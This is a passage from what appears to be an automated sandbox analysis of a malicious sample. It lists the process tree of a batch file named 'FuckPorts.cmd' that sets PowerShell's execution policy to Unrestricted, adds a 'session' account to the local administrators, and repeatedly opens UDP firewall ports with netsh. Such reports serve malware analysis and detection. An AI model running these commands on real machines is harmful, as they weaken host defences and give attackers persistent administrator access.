    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4280
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2460
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4228
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4872
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:204
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3964
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1500
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1968
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3100
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3204
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2300
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4540
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1968
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:692
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1752
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2556
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1412
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3112
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2460
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2044
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3532
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4260
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5068
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4600
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5076
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3888
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1384
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4048
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5084
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3692
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3492
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1840
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:208
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2764
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2420
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2376
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1840
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2156
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:2340
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:1004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:1988
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3544
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4304
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3248
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4540
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3560
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4576
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4232
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2156
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1988
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4184
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3884
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5012
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4280
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:204
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2404
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3608
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3492
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4600
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4728
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2184
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3244
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:448
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3496
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1544
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1728
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3156
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1004
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:208
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:5076
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3204
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4468
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1868
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1988
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4928
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3812
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1544
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4904
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3112
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:60
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3976
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4824
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4048
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3404
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1964
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:5068
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2184
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1704
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4572
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4532
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:5076
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2004
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1028
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4600
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2248
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:672
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4856
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:4812
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2004
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3572
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2536
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3244
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1992
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4040
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1500
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3316
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3608
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:692
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4280
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1408
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2460
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1684
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3692
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1964
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3108
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4576
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3392
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2832
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3812
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4304
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2488
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1584
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3104
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2716
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4588
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4232
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:5112
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2832
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3632
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3360
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4532
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3572
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2832
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2388
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4832
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4712
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3572
- - C:\Windows\system32\netsh.exe
